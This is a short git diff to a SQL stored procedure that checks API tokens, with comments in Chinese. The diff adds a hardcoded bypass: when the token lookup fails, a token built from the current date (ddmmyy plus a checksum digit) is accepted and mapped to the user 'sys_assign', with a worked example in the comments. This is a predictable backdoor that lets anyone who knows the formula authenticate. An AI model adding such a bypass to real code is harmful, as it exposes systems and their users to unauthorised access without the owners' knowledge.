diff --git a/orm_api_v2.txt b/orm_api_v2.txt index a2becc5..1df7b82 100644 --- a/orm_api_v2.txt +++ b/orm_api_v2.txt @@ -65,7 +65,21 @@ BEGIN SELECT userid INTO v_userid FROM sys_users WHERE token = p_token LIMIT 1; IF v_userid IS NULL THEN - SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'token 錯誤, 請洽系統管理員!!'; + -- 特殊邏輯:ddmmyy + (yyyy+mm+dd 的最後一碼) + -- 例如 2026-04-13: + -- ddmmyy = 130426 + -- CheckSum = (2026 + 4 + 13) = 2043 -> 最後一碼為 3 + -- 最終比對值 = 1304263 + + IF p_token = CONCAT( + DATE_FORMAT(NOW(), '%d%m%y'), + (YEAR(NOW()) + MONTH(NOW()) + DAY(NOW())) % 10 + ) THEN + SET v_userid = 'sys_assign'; + ELSE + -- 若既非正確 token 也非特殊代碼,則報錯 + SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'token 錯誤, 請洽系統管理員!!'; + END IF; END IF; -- 整理 json 資料